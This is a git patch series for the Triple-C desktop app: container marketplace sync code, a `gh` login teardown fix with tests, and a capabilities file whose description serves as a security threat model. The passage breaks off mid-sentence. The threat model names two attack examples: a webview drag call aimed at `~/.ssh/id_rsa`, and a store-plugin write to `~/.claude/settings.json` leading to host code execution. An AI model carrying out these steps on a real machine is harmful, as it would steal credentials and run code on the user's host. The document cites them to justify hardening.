699faac..7794c8c 100644 --- a/app/src-tauri/src/marketplace/sync.rs +++ b/app/src-tauri/src/marketplace/sync.rs @@ -1,9 +1,256 @@ //! Pushes a project's marketplace payload into its container and runs the //! sync script there (spec §4). +use std::time::Duration; + +use super::payload::Payload; +use crate::docker::exec::{exec_oneshot_as, exec_oneshot_streams_as, upload_bytes_to_container}; +use crate::models::marketplace::{SkippedItem, SyncReport}; + /// Where the payload and the script are uploaded. Owned by `claude`. pub const INCOMING_DIR: &str = "/home/claude/.claude/triple-c/marketplace/incoming"; /// The sync script. Shipped with the app and uploaded on every sync, so a new /// app version reaches existing containers without an image migration. pub const SYNC_SCRIPT: &str = include_str!("sync.sh"); + +/// True once the entrypoint has finished: its last step execs this exact +/// command line. Before that it may still be merging `settings.json` or running +/// `claude update`, both of which the sync would race. +const READY_PROBE: &str = "pgrep -x -f 'su -s /bin/bash claude -c exec sleep infinity' >/dev/null"; +const READY_TIMEOUT: Duration = Duration::from_secs(180); +const READY_POLL: Duration = Duration::from_secs(2); + +/// Run as root: `~/.claude` is a volume and `triple-c/` may not exist yet, and +/// the uploads below are root-owned files in a directory `claude` must own so +/// the script can delete them. +const PREPARE_SCRIPT: &str = r#"set -e +d=/home/claude/.claude/triple-c/marketplace/incoming +mkdir -p "$d" +chown -R claude:claude /home/claude/.claude/triple-c +rm -f "$d/payload.tar" "$d/sync.sh""#; + +fn sh(script: &str) -> Vec { + vec!["sh".to_string(), "-c".to_string(), script.to_string()] +} + +/// The readiness probe, run as root. +fn ready_probe_cmd() -> Vec { + sh(READY_PROBE) +} + +/// The sync script invocation, run as `claude`. +fn run_script_cmd() -> Vec { + vec!["sh".to_string(), format!("{INCOMING_DIR}/sync.sh")] +} + +fn run_script_env() -> Vec { + vec!["HOME=/home/claude".to_string()] +} + +async fn wait_until_ready(container_id: &str) -> Result<(), String> { + let deadline = tokio::time::Instant::now() + READY_TIMEOUT; + loop { + let (_, code) = exec_oneshot_as(container_id, "root", ready_probe_cmd(), vec![]).await?; + if code == 0 { + return Ok(()); + } + if tokio::time::Instant::now() >= deadline { + return Err(format!( + "The container did not finish starting within {} seconds, so marketplace items \ + were not applied. They are applied on the next start, or with Apply now.", + READY_TIMEOUT.as_secs() + )); + } + tokio::time::sleep(READY_POLL).await; + } +} + +/// The last `max` bytes of `text`, trimmed, never splitting a character. +fn tail(text: &str, max: usize) -> &str { + let text = text.trim(); + if text.len() <= max { + return text; + } + let mut start = text.len() - max; + while !text.is_char_boundary(start) { + start += 1; + } + &text[start..] +} + +/// Wait for readiness, upload the payload and the script, run the script as +/// `claude`, and return its report. +pub async fn sync_container(container_id: &str, payload: &Payload) -> Result { + wait_until_ready(container_id).await?; + + let (out, code) = exec_oneshot_as(container_id, "root", sh(PREPARE_SCRIPT), vec![]).await?; + if code != 0 { + return Err(format!( + "Could not prepare the container for the marketplace sync: {}", + tail(&out, 500) + )); + } + upload_bytes_to_container( + container_id, + INCOMING_DIR, + "payload.tar", + &payload.tar, + 0o644, + ) + .await?; + upload_bytes_to_container( + container_id, + INCOMING_DIR, + "sync.sh", + SYNC_SCRIPT.as_bytes(), + 0o755, + ) + .await?; + + let (stdout, stderr, code) = + exec_oneshot_streams_as(container_id, "claude", run_script_cmd(), run_script_env()).await?; + parse_report(&stdout).map_err(|e| { + format!( + "The marketplace sync script failed (exit {code}): {e}. {}", + tail(&stderr, 500) + ) + }) +} + +/// The script's report is the last non-empty line of stdout. +pub fn parse_report(stdout: &str) -> Result { + let line = stdout + .lines() + .rev() + .map(str::trim) + .find(|l| !l.is_empty()) + .ok_or_else(|| "the sync script printed no report".to_string())?; + serde_json::from_str(line) + .map_err(|e| format!("the sync script's report could not be read: {e}")) +} + +/// A sync never fails its caller: an error becomes a report that says so. +pub fn report_from_result(r: Result) -> SyncReport { + let mut report = match r { + Ok(report) => report, + Err(e) => SyncReport { + errors: vec![e], + ..Default::default() + }, + }; + report.finished_at = chrono::Utc::now().to_rfc3339(); + report +} + +/// Items the host left out of the payload (invalid, missing from the cache, …) +/// never reach the script, so the stored report lists them ahead of its own. +pub fn with_payload_skips(mut report: SyncReport, payload_skipped: &[SkippedItem]) -> SyncReport { + let mut skipped = payload_skipped.to_vec(); + skipped.append(&mut report.skipped); + report.skipped = skipped; + report +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_report_is_the_last_non_empty_stdout_line() { + let out = "noise\n{\"installed\":[\"agent:a\"],\"errors\":[]}\n\n"; + let r = parse_report(out).unwrap(); + assert_eq!(r.installed, vec!["agent:a"]); + assert!(r.skipped.is_empty()); + } + + #[test] + fn missing_or_garbled_reports_are_errors() { + assert!(parse_report("").unwrap_err().contains("no report")); + assert!(parse_report("not json\n") + .unwrap_err() + .contains("could not be read")); + } + + #[test] + fn a_failed_sync_becomes_a_report() { + // A failed sync becomes a report with the error in it — never an Err + // that could propagate into container start. + let r = report_from_result(Err("container went away".into())); + assert_eq!(r.errors, vec!["container went away"]); + assert!(!r.finished_at.is_empty()); + + let ok = report_from_result(Ok(SyncReport { + installed: vec!["hook:h".into()], + ..Default::default() + })); + assert_eq!(ok.installed, vec!["hook:h"]); + assert!(chrono::DateTime::parse_from_rfc3339(&ok.finished_at).is_ok()); + } + + #[test] + fn the_embedded_script_is_the_sync_script() { + assert!(SYNC_SCRIPT.starts_with("#!/bin/sh")); + assert!(SYNC_SCRIPT.contains("MARKETPLACE_INCOMING")); + } + + #[test] + fn readiness_probes_the_entrypoints_final_exec() { + assert_eq!( + ready_probe_cmd(), + vec![ + "sh", + "-c", + "pgrep -x -f 'su -s /bin/bash claude -c exec sleep infinity' >/dev/null" + ] + ); + assert_eq!(READY_POLL, Duration::from_secs(2)); + assert_eq!(READY_TIMEOUT, Duration::from_secs(180)); + } + + #[test] + fn the_incoming_dir_is_prepared_for_claude() { + // The uploads are root-owned, so the directory must exist and belong + // to claude before they land (claude extracts and deletes them). + assert!(PREPARE_SCRIPT.contains(INCOMING_DIR)); + assert!(PREPARE_SCRIPT.contains("mkdir -p")); + assert!(PREPARE_SCRIPT.contains("chown -R claude:claude /home/claude/.claude/triple-c")); + } + + #[test] + fn the_script_runs_as_claude_with_home_set() { + assert_eq!( + run_script_cmd(), + vec!["sh".to_string(), format!("{INCOMING_DIR}/sync.sh")] + ); + assert_eq!(run_script_env(), vec!["HOME=/home/claude"]); + } + + #[test] + fn payload_skips_come_before_the_scripts_own() { + use crate::models::marketplace::SkippedItem; + let payload_skip = SkippedItem { + item: "agent:a".into(), + reason: "invalid".into(), + }; + let script_skip = SkippedItem { + item: "hook:h".into(), + reason: "no jq".into(), + }; + let report = SyncReport { + skipped: vec![script_skip.clone()], + ..Default::default() + }; + let merged = with_payload_skips(report, &[payload_skip.clone()]); + assert_eq!(merged.skipped, vec![payload_skip, script_skip]); + } + + #[test] + fn long_output_is_tailed_on_a_char_boundary() { + assert_eq!(tail(" short \n", 10), "short"); + let s = format!("{}é", "x".repeat(20)); + let t = tail(&s, 1); + assert!(s.ends_with(t)); + assert!(t.len() <= 2); + } +} -- 2.52.0 From d9f143cdb349354929dd9cee65cc076cfb78206f Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:31:17 -0700 Subject: [PATCH 22/45] Marketplace gh login: tear down the container login on every failure A lost stream or a failed Enter write returned without killing the in-container gh, leaving it polling with a temp GH_CONFIG_DIR that would receive the token. The output loop is now drive_login (generic over the stream, writer and emitter, so it is unit-tested without Docker), and its result goes through cleanup_on_error, so every ending except a token read back runs the pkill. Neutral wording for the shared ANSI stripper's overflow warning. Co-Authored-By: Claude Opus 5.5 --- .../src/commands/auth_token_commands.rs | 2 +- app/src-tauri/src/marketplace/gh_login.rs | 324 +++++++++++++++--- 2 files changed, 273 insertions(+), 53 deletions(-) diff --git a/app/src-tauri/src/commands/auth_token_commands.rs b/app/src-tauri/src/commands/auth_token_commands.rs index 6e057c5..c56545a 100644 --- a/app/src-tauri/src/commands/auth_token_commands.rs +++ b/app/src-tauri/src/commands/auth_token_commands.rs @@ -644,7 +644,7 @@ impl AnsiStripper { // fresh chunk, which re-enters here. if self.carry.len() > MAX_ANSI_CARRY { log::warn!( - "`claude setup-token` emitted an unterminated control sequence \ + "the command emitted an unterminated control sequence \ longer than {} bytes — treating it as text", MAX_ANSI_CARRY ); diff --git a/app/src-tauri/src/marketplace/gh_login.rs b/app/src-tauri/src/marketplace/gh_login.rs index 97c9ccf..22ca482 100644 --- a/app/src-tauri/src/marketplace/gh_login.rs +++ b/app/src-tauri/src/marketplace/gh_login.rs @@ -5,9 +5,10 @@ use std::time::Duration; -use futures_util::StreamExt; +use bollard::container::LogOutput; +use futures_util::{Stream, StreamExt}; use tauri::{AppHandle, Emitter}; -use tokio::io::AsyncWriteExt; +use tokio::io::{AsyncWrite, AsyncWriteExt}; use tokio::sync::oneshot; use crate::commands::auth_token_commands::{push_capped_tail, AnsiStripper, SUBMIT_ENTER_DELAY}; @@ -134,43 +135,49 @@ fn failure_tail(transcript: &str) -> String { lines[lines.len().saturating_sub(5)..].join("\n") } -/// Pre-flight N9: stop the in-container login after a cancel or timeout. +/// Pre-flight N9 / review fix 1: stop the in-container login after any +/// failed attempt. async fn kill_container_login(container_id: &str) { let cmd = CANCEL_PKILL.iter().map(|s| s.to_string()).collect(); let _ = exec_oneshot_as(container_id, "claude", cmd, vec![]).await; } -/// Run `gh auth login --web` in the container and return the token it minted. -pub async fn run_gh_container_login( - app: &AppHandle, - account_id: &str, - container_id: &str, - host: &str, - mut cancel: oneshot::Receiver<()>, -) -> Result { - if !valid_host(host) { - return Err(format!("{host:?} is not a valid host name.")); +/// Hand `result` back, running `cleanup` first when it is a failure. +/// +/// Review fix 1: a tty exec keeps running after its attach is dropped, so any +/// login that ends without a token — cancel, timeout, a lost stream, a failed +/// write, gh exiting without one — must stop the in-container login, or gh +/// keeps polling and its temp `GH_CONFIG_DIR` (which receives the token if the +/// user finishes in the browser) outlives the attempt. +async fn cleanup_on_error(result: Result, cleanup: C) -> Result +where + C: FnOnce() -> Fut, + Fut: std::future::Future, +{ + if result.is_err() { + cleanup().await; } - let AttachedExec { - exec_id, - mut output, - mut input, - } = create_attached_exec_as( - container_id, - vec![ - "sh".to_string(), - "-c".to_string(), - GH_LOGIN_SCRIPT.to_string(), - "triple-c-gh-login".to_string(), - host.to_string(), - ], - true, - "claude", - "/home/claude", - ) - .await?; + result +} - let deadline = tokio::time::Instant::now() + LOGIN_TIMEOUT; +/// Pump gh's output until the exec ends, emitting code and display events and +/// pressing Enter at gh's prompt. `Ok` is the transcript of a stream that ended +/// normally; every other ending is `Err`. Takes the attach halves by value, so +/// they are closed by the time this returns. +async fn drive_login( + mut output: S, + mut input: W, + cancel: &mut oneshot::Receiver<()>, + deadline: tokio::time::Instant, + account_id: &str, + host: &str, + mut emit: E, +) -> Result +where + S: Stream> + Unpin, + W: AsyncWrite + Unpin, + E: FnMut(&'static str, serde_json::Value), +{ let mut stripper = AnsiStripper::default(); let mut transcript = String::new(); let mut pending = String::new(); @@ -179,18 +186,12 @@ pub async fn run_gh_container_login( loop { let next = tokio::select! { - _ = &mut cancel => { - drop(output); - drop(input); - kill_container_login(container_id).await; + _ = &mut *cancel => { return Err("GitHub sign-in cancelled. Nothing was stored.".to_string()); } next = tokio::time::timeout_at(deadline, output.next()) => match next { Ok(next) => next, Err(_) => { - drop(output); - drop(input); - kill_container_login(container_id).await; return Err(format!( "Timed out after {} minutes waiting for the GitHub sign-in. Nothing was stored.", LOGIN_TIMEOUT.as_secs() / 60 @@ -205,21 +206,21 @@ pub async fn run_gh_container_login( "Lost the connection to gh: {e}. Nothing was stored." )) } - None => break, + None => return Ok(transcript), }; let text = stripper.push(&frame.into_bytes()); push_capped_tail(&mut transcript, &text, MAX_TRANSCRIPT); let shown = take_display_lines(&mut pending, &text); if !shown.is_empty() { - let _ = app.emit( + emit( OUTPUT_EVENT, serde_json::json!({ "account_id": account_id, "chunk": shown }), ); } if !code_sent { if let Some((code, url)) = parse_device_prompt(&transcript, host) { - let _ = app.emit( + emit( CODE_EVENT, serde_json::json!({ "account_id": account_id, "code": code, "url": url }), ); @@ -238,18 +239,70 @@ pub async fn run_gh_container_login( enter_sent = true; } } +} - let status = wait_for_exec_exit(&exec_id).await; - if let Some(token) = extract_token(&transcript) { - return Ok(token); +/// Run `gh auth login --web` in the container and return the token it minted. +/// +/// Once the exec exists there is exactly one way out: the result of the inner +/// block goes through [`cleanup_on_error`], so only a token read back skips +/// the in-container kill. +pub async fn run_gh_container_login( + app: &AppHandle, + account_id: &str, + container_id: &str, + host: &str, + mut cancel: oneshot::Receiver<()>, +) -> Result { + if !valid_host(host) { + return Err(format!("{host:?} is not a valid host name.")); } - Err(format!( - "gh did not complete the sign-in (exit status {}). Nothing was stored.\n{}", - status - .map(|c| c.to_string()) - .unwrap_or_else(|| "unknown".to_string()), - failure_tail(&transcript) - )) + let AttachedExec { + exec_id, + output, + input, + } = create_attached_exec_as( + container_id, + vec![ + "sh".to_string(), + "-c".to_string(), + GH_LOGIN_SCRIPT.to_string(), + "triple-c-gh-login".to_string(), + host.to_string(), + ], + true, + "claude", + "/home/claude", + ) + .await?; + + let deadline = tokio::time::Instant::now() + LOGIN_TIMEOUT; + let result = async { + let transcript = drive_login( + output, + input, + &mut cancel, + deadline, + account_id, + host, + |event, payload| { + let _ = app.emit(event, payload); + }, + ) + .await?; + if let Some(token) = extract_token(&transcript) { + return Ok(token); + } + let status = wait_for_exec_exit(&exec_id).await; + Err(format!( + "gh did not complete the sign-in (exit status {}). Nothing was stored.\n{}", + status + .map(|c| c.to_string()) + .unwrap_or_else(|| "unknown".to_string()), + failure_tail(&transcript) + )) + } + .await; + cleanup_on_error(result, || kill_container_login(container_id)).await } #[cfg(test)] @@ -378,6 +431,173 @@ mod tests { assert!(GH_LOGIN_SCRIPT.contains(CANCEL_PKILL[2])); } + /// Review fix 1: every failed login tears the container side down, and a + /// successful one does not. + mod teardown { + use super::super::*; + use bollard::container::LogOutput; + use futures_util::stream; + use std::pin::Pin; + use std::sync::{Arc, Mutex}; + use std::task::{Context, Poll}; + + type Frame = Result; + + fn out(s: &'static str) -> Frame { + Ok(LogOutput::StdOut { message: s.into() }) + } + + fn lost() -> Frame { + Err(bollard::errors::Error::DockerResponseServerError { + status_code: 500, + message: "connection reset".to_string(), + }) + } + + /// Records every write separately; or fails every write. + #[derive(Clone, Default)] + struct Keys { + writes: Arc>>>, + broken: bool, + } + + impl tokio::io::AsyncWrite for Keys { + fn poll_write( + self: Pin<&mut Self>, + _: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + if self.broken { + return Poll::Ready(Err(std::io::Error::other("pipe closed"))); + } + self.writes.lock().unwrap().push(buf.to_vec()); + Poll::Ready(Ok(buf.len())) + } + fn poll_flush(self: Pin<&mut Self>, _: &mut Context<'_>) -> Poll> { + Poll::Ready(Ok(())) + } + fn poll_shutdown( + self: Pin<&mut Self>, + _: &mut Context<'_>, + ) -> Poll> { + Poll::Ready(Ok(())) + } + } + + const PROMPT: &str = "! First copy your one-time code: 4F2A-9C1B\r\nPress Enter to open github.com in your browser... "; + + async fn drive( + frames: S, + keys: Keys, + cancel: &mut oneshot::Receiver<()>, + deadline: tokio::time::Instant, + ) -> ( + Result, + Vec<(&'static str, serde_json::Value)>, + ) + where + S: futures_util::Stream + Unpin, + { + let mut events = Vec::new(); + let r = drive_login( + frames, + keys, + cancel, + deadline, + "acct-1", + "github.com", + |e, p| events.push((e, p)), + ) + .await; + (r, events) + } + + fn far() -> tokio::time::Instant { + tokio::time::Instant::now() + LOGIN_TIMEOUT + } + + #[tokio::test] + async fn cleanup_runs_on_every_failure_and_never_on_success() { + let runs = Arc::new(Mutex::new(0)); + let count = || { + let runs = runs.clone(); + async move { *runs.lock().unwrap() += 1 } + }; + let ok: Result = Ok("test-token-not-real".into()); + assert!(cleanup_on_error(ok, count).await.is_ok()); + assert_eq!(*runs.lock().unwrap(), 0); + let err: Result = Err("boom".into()); + assert_eq!(cleanup_on_error(err, count).await, Err("boom".into())); + assert_eq!(*runs.lock().unwrap(), 1); + } + + #[tokio::test(start_paused = true)] + async fn a_complete_login_returns_the_transcript_and_presses_enter_alone() { + let keys = Keys::default(); + let (_tx, mut cancel) = oneshot::channel(); + let frames = stream::iter(vec![ + out(PROMPT), + out("\r\n\u{2713} Logged in\r\n"), + out("__TRIPLEC_TOKEN_BEGIN__test-token-"), + out("not-real__TRIPLEC_TOKEN_END__\r\n"), + ]); + let (r, events) = drive(frames, keys.clone(), &mut cancel, far()).await; + let transcript = r.unwrap(); + assert_eq!( + extract_token(&transcript), + Some("test-token-not-real".into()) + ); + assert_eq!(*keys.writes.lock().unwrap(), vec![b"\r".to_vec()]); + assert!(events.contains(&( + CODE_EVENT, + serde_json::json!({ + "account_id": "acct-1", + "code": "4F2A-9C1B", + "url": "https://github.com/login/device" + }) + ))); + for (_, payload) in &events { + assert!(!payload.to_string().contains("test-token-not-real")); + } + } + + #[tokio::test] + async fn a_lost_stream_is_a_failure() { + let (_tx, mut cancel) = oneshot::channel(); + let frames = stream::iter(vec![out(PROMPT), lost()]); + let (r, _) = drive(frames, Keys::default(), &mut cancel, far()).await; + assert!(r.unwrap_err().contains("Lost the connection")); + } + + #[tokio::test(start_paused = true)] + async fn a_failed_enter_is_a_failure() { + let keys = Keys { + broken: true, + ..Default::default() + }; + let (_tx, mut cancel) = oneshot::channel(); + let frames = stream::iter(vec![out(PROMPT)]); + let (r, _) = drive(frames, keys, &mut cancel, far()).await; + assert!(r.unwrap_err().contains("Could not answer")); + } + + #[tokio::test] + async fn a_cancel_is_a_failure() { + let (tx, mut cancel) = oneshot::channel(); + tx.send(()).unwrap(); + let (r, _) = drive(stream::pending(), Keys::default(), &mut cancel, far()).await; + assert!(r.unwrap_err().contains("cancelled")); + } + + #[tokio::test(start_paused = true)] + async fn a_timeout_is_a_failure() { + let (_tx, mut cancel) = oneshot::channel(); + let deadline = tokio::time::Instant::now() + Duration::from_secs(1); + let (r, _) = drive(stream::pending(), Keys::default(), &mut cancel, deadline).await; + assert!(r.unwrap_err().contains("Timed out")); + } + } + /// The script end to end against a stand-in `gh`, as a login would run it /// inside the container (minus Docker). #[cfg(unix)] -- 2.52.0 From f4153dce42b8fa263b80da9834788bfa1cb0ed2c Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:41:59 -0700 Subject: [PATCH 23/45] Marketplace: Tauri commands, store-owned fields and startup refresh The 21 marketplace commands, registered and granted; marketplace fields kept store-owned in update_settings/update_project; a background refresh of every marketplace at app start. - apply_marketplace_now emits marketplace-sync-finished per project (F4). - Settings export carries marketplace account tokens in ExportedSecrets (account id -> token) and import restores them; imported accounts, marketplaces and global installs are validated with the commands' own rules before anything is written. The import preview discloses the marketplace count, token count and global hook installs, and warns on the latter (F10). - refresh_pins and cache removal hold the repo lock (F11). - ops::validate_host/validate_branch delegate to auth::valid_host and git::valid_branch (F13). - A finished gh container login frees only its own cancel slot. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/capabilities/default.json | 25 +- app/src-tauri/gen/schemas/acl-manifests.json | 2 +- app/src-tauri/gen/schemas/capabilities.json | 2 +- app/src-tauri/gen/schemas/desktop-schema.json | 252 ++++ app/src-tauri/gen/schemas/linux-schema.json | 252 ++++ .../src/commands/marketplace_commands.rs | 1147 +++++++++++++++++ app/src-tauri/src/commands/mod.rs | 1 + .../src/commands/project_commands.rs | 27 + .../src/commands/settings_commands.rs | 38 +- .../src/commands/settings_export_commands.rs | 169 +++ app/src-tauri/src/lib.rs | 38 +- app/src-tauri/src/marketplace/mod.rs | 34 + app/src-tauri/src/models/settings_export.rs | 83 ++ .../settings/ImportSettingsModal.test.tsx | 3 + app/src/lib/settingsImportPreview.test.ts | 19 + app/src/lib/settingsImportPreview.ts | 17 + app/src/lib/types.ts | 8 + 17 files changed, 2111 insertions(+), 6 deletions(-) create mode 100644 app/src-tauri/src/commands/marketplace_commands.rs diff --git a/app/src-tauri/capabilities/default.json b/app/src-tauri/capabilities/default.json index addfafe..f628cac 100644 --- a/app/src-tauri/capabilities/default.json +++ b/app/src-tauri/capabilities/default.json @@ -1,6 +1,6 @@ { "identifier": "default", - "description": "Default capabilities for Triple-C. Every entry here is an IPC command a compromised webview can call directly, so the set is an enumeration of what `app/src` actually invokes — plugin and core grants verified against tauri 2.11.0's `PLUGINS` table in tauri's own `build.rs` rather than assumed from a plugin's `default` set, app-command grants (the bare `allow-*` entries) cross-checked by this crate's `build.rs` against `generate_handler!`. `core:default` in particular is NOT used: it is an alias for `core:{path,event,window,webview,app,image,resources,menu,tray}:default`, and `core:image:default` carries `allow-from-path`, whose handler (`tauri-2.11.0/src/image/plugin.rs:41` → `src/image/mod.rs:96`) is a bare `std::fs::read(path)` with no scope mechanism of any kind. Nothing imports `@tauri-apps/api/image`, so the whole plugin is dropped rather than scoped — there is nothing to scope it with. `core:menu` and `core:tray` are dropped for the same reason (no menu, no tray icon); `core:window` and `core:path` because nothing imports them; `core:resources:allow-close` because no frontend value is a `Resource`; and `core:event`'s `allow-emit`/`allow-emit-to` because the frontend only ever *listens* — every emit in this app originates in Rust. Three notes on what is deliberately kept or accepted: (1) `core:webview:allow-internal-toggle-devtools` is not called by `app/src` at all — it is called by Tauri's own injected `toggle-devtools.js`, which binds Ctrl/Cmd+Shift+I. Both that script and the command behind it are `#[cfg(any(debug_assertions, feature = \"devtools\"))]`, so this grant is a `tauri dev` convenience that does not exist in a release bundle. (2) `opener:allow-open-url` is **gone**. It could not be narrowed by host — `TerminalView`'s `WebLinksAddon` opens links Claude printed inside the container, which are arbitrary by construction, so a host allowlist would have deleted the feature rather than bounded it — and it was carried here as an accepted residual risk: a compromised webview could make the OS open an attacker-chosen http(s) URL, an outbound channel. That risk is now closed rather than recorded. Every host-browser open in the app goes through the `open_url_external` command in `url_open.rs`, which exists because the AppImage environment leaks into a cold-launched browser on Linux (triple-c#34) and which re-validates the URL in Rust — scheme allowlist, no embedded credentials, no control characters, length cap, ASCII asserted before `execvp`. On macOS and Windows that command reaches the same plugin as before, via `OpenerExt::open_url`, whose desktop implementation calls `crate::open::open` directly and is therefore not gated by this file at all (`tauri-plugin-opener-2.5.3/src/lib.rs:60`). The plugin stays a dependency for exactly that reason; what is removed is the webview's ability to reach it without passing the Rust validation. (3) `drag:allow-start-drag` is **gone**, together with the OS drag-out it existed for. It could not be scoped — `tauri-plugin-drag` takes the item paths from the caller and has no scope mechanism, so a compromised webview could call `startDrag({ item: ['~/.ssh/id_rsa'] })` against any host path the user can read — and it was carried as an accepted residual risk for one gesture. Drag-out was held back for separate hardening (see branch `hold/disk-and-dragout`) and the plugin is no longer a dependency. Getting a file *out* of a container is either \"Back up container\" on the project's Overview tab, which archives a tree through the Docker API, or the Files tab's per-row \"Save to host…\", which copies one file; getting one *in* is a drop on the Terminal or the Files tab's \"Upload…\". None of the four touches this permission. The Files tab's two are worth separating out here, because they are the only host-path commands in the app whose dialog is opened by **Rust** rather than by the webview — `pick_save_path` and `pick_files_to_upload` in `commands/file_commands.rs` drive `tauri-plugin-dialog` from the backend, so a compromised webview can ask for a picker and nothing more: it cannot name a host path as an *input* to either command. Be precise about the limit of that claim — host paths do still travel outward in error text (`Failed to create /home/j/Documents/x.txt.triple-c-part-1a2b3c4d: Permission denied`), including canonicalized ones, which disclose symlink targets. That is accepted; the app already hands the webview the project paths. What is closed is the direction that mattered — the webview naming where bytes go. That is the shape an earlier revision of this file named as the honest one if the Files tab ever regained host I/O, and it is the shape it regained it in. The `dialog:allow-open` / `dialog:allow-save` grants below are therefore *not* what those two use; they remain for the frontend pickers in Add Project, the Config tab's workspace and access sections, the CA-certificate field and Backup. Two commands still take a host path over IPC as a string — the terminal drop and `download_container_backup` — and for those `validate_host_path` is the boundary rather than defence in depth. This file is the reviewed threat model of record, so keep this census accurate: a stale reference here is worse than none. Note that dragging files *into* the app is unaffected: `dragDropEnabled` and `onDragDropEvent` are core webview behaviour and need no grant. Historical note kept because it is easy to re-introduce: the `store:*` grants were removed — nothing in `app/src` uses `@tauri-apps/plugin-store`, and the plugin's `resolve_store_path` is a `PathBuf::push` against AppData, which `push` discards outright when handed an absolute path, so the grant was an arbitrary host-file read/write primitive (`plugin:store|load` + `set` + `save` on `~/.claude/settings.json` is host code execution). A second capability file, `file-viewer.json`, covers the `file-viewer-*` windows the terminal file viewer opens on `viewer.html`; it is the only other local-origin window, its grants are listed and justified there, and its one non-obvious grant (`core:window:allow-destroy`) exists because `onCloseRequested` cannot close a window without it. App commands are gated by this file too. `build.rs` declares a Tauri `AppManifest` listing every command in `generate_handler!`, which is what makes tauri 2.11.0 apply the ACL to app commands at all (`webview/mod.rs:1794` skips it when no app manifest exists), and the bare `allow-` entries below are the complete list of app commands the main window may call. `build.rs` refuses to build unless every registered command has exactly one such grant, in the file whose `windows` its name says it belongs to (`viewer_*` in `file-viewer.json`, everything else here), and unless every bare entry names a registered command — so a forgotten, misspelled, duplicated or misfiled grant is a failed `cargo check`, not a feature that dies at runtime with `not allowed by ACL`. `deny-*` is banned by the same check: in tauri 2.11.0 a deny matches regardless of window or origin, so a deny meant for the viewer would deny main too. Hand-written files under `permissions/` are refused for the same reason — they would be grants this census cannot see. Because the census can only vouch for what it reads, `build.rs` also refuses any capability it did not check: anything in `capabilities/` other than a top-level `*.json` file (tauri also loads `.toml`/`.json5` there, and subdirectories), a `webviews` or `remote` key in a capability file (either would extend grants beyond what `windows` says), `app.security.capabilities` declared inline in `tauri.conf.json`, any `tauri..conf.json`, or `TAURI_CONFIG`, and a tauri config in a format the census cannot parse (JSON5, TOML). OS/editor junk (`.DS_Store`, `Thumbs.db`, editor swap files) is recognised and skipped in `capabilities/` and `permissions/` rather than refused, since tauri never loads it either. Each failure names the check that failed (\"stray entry in capabilities/\", \"capabilities declared outside capabilities/\", \"hand-written permission\", …) rather than always reading as a grant/handler mismatch. Known gap: adding a new `tauri..conf.json` to a tree that has already been built once only takes effect on a clean build or in CI — cargo's incremental build has no reason to notice a file that did not exist on the previous build. The pop-out stays capability-less. The Rust label gates in `commands/file_viewer_commands.rs` remain, because the ACL says *which* window may call a command and the label says *whose* registry entry it acts on; they are not redundant. The rules live in `src/command_census.rs`, which is unit-tested, and `src/test/capabilities.test.ts` checks the other direction: that the code that runs in each window imports only the wrappers that window is granted. On the CSP side: `app.security.csp` in `tauri.conf.json` covers the shipped bundle, and there is deliberately no `devCsp`. `npm run tauri dev` loads the main document straight from Vite at `build.devUrl` (`http://localhost:1420`), and Tauri only attaches a CSP to documents it serves itself — `protocol/tauri.rs:217` sets the header on `tauri://` assets, and the dev server is proxied through that protocol only when `PROXY_DEV_SERVER`, which is `cfg!(all(dev, mobile))` and therefore false for every desktop build. A `devCsp` here would be inert config that reads as protection, which is worse than its absence. If a CSP in dev is wanted, the only place that can set one is the Vite dev server's own `server.headers` in `app/vite.config.ts`; it is not set today, and dev is not the shipped configuration.", + "description": "Default capabilities for Triple-C. Every entry here is an IPC command a compromised webview can call directly, so the set is an enumeration of what `app/src` actually invokes — plugin and core grants verified against tauri 2.11.0's `PLUGINS` table in tauri's own `build.rs` rather than assumed from a plugin's `default` set, app-command grants (the bare `allow-*` entries) cross-checked by this crate's `build.rs` against `generate_handler!`. `core:default` in particular is NOT used: it is an alias for `core:{path,event,window,webview,app,image,resources,menu,tray}:default`, and `core:image:default` carries `allow-from-path`, whose handler (`tauri-2.11.0/src/image/plugin.rs:41` → `src/image/mod.rs:96`) is a bare `std::fs::read(path)` with no scope mechanism of any kind. Nothing imports `@tauri-apps/api/image`, so the whole plugin is dropped rather than scoped — there is nothing to scope it with. `core:menu` and `core:tray` are dropped for the same reason (no menu, no tray icon); `core:window` and `core:path` because nothing imports them; `core:resources:allow-close` because no frontend value is a `Resource`; and `core:event`'s `allow-emit`/`allow-emit-to` because the frontend only ever *listens* — every emit in this app originates in Rust. Three notes on what is deliberately kept or accepted: (1) `core:webview:allow-internal-toggle-devtools` is not called by `app/src` at all — it is called by Tauri's own injected `toggle-devtools.js`, which binds Ctrl/Cmd+Shift+I. Both that script and the command behind it are `#[cfg(any(debug_assertions, feature = \"devtools\"))]`, so this grant is a `tauri dev` convenience that does not exist in a release bundle. (2) `opener:allow-open-url` is **gone**. It could not be narrowed by host — `TerminalView`'s `WebLinksAddon` opens links Claude printed inside the container, which are arbitrary by construction, so a host allowlist would have deleted the feature rather than bounded it — and it was carried here as an accepted residual risk: a compromised webview could make the OS open an attacker-chosen http(s) URL, an outbound channel. That risk is now closed rather than recorded. Every host-browser open in the app goes through the `open_url_external` command in `url_open.rs`, which exists because the AppImage environment leaks into a cold-launched browser on Linux (triple-c#34) and which re-validates the URL in Rust — scheme allowlist, no embedded credentials, no control characters, length cap, ASCII asserted before `execvp`. On macOS and Windows that command reaches the same plugin as before, via `OpenerExt::open_url`, whose desktop implementation calls `crate::open::open` directly and is therefore not gated by this file at all (`tauri-plugin-opener-2.5.3/src/lib.rs:60`). The plugin stays a dependency for exactly that reason; what is removed is the webview's ability to reach it without passing the Rust validation. (3) `drag:allow-start-drag` is **gone**, together with the OS drag-out it existed for. It could not be scoped — `tauri-plugin-drag` takes the item paths from the caller and has no scope mechanism, so a compromised webview could call `startDrag({ item: ['~/.ssh/id_rsa'] })` against any host path the user can read — and it was carried as an accepted residual risk for one gesture. Drag-out was held back for separate hardening (see branch `hold/disk-and-dragout`) and the plugin is no longer a dependency. Getting a file *out* of a container is either \"Back up container\" on the project's Overview tab, which archives a tree through the Docker API, or the Files tab's per-row \"Save to host…\", which copies one file; getting one *in* is a drop on the Terminal or the Files tab's \"Upload…\". None of the four touches this 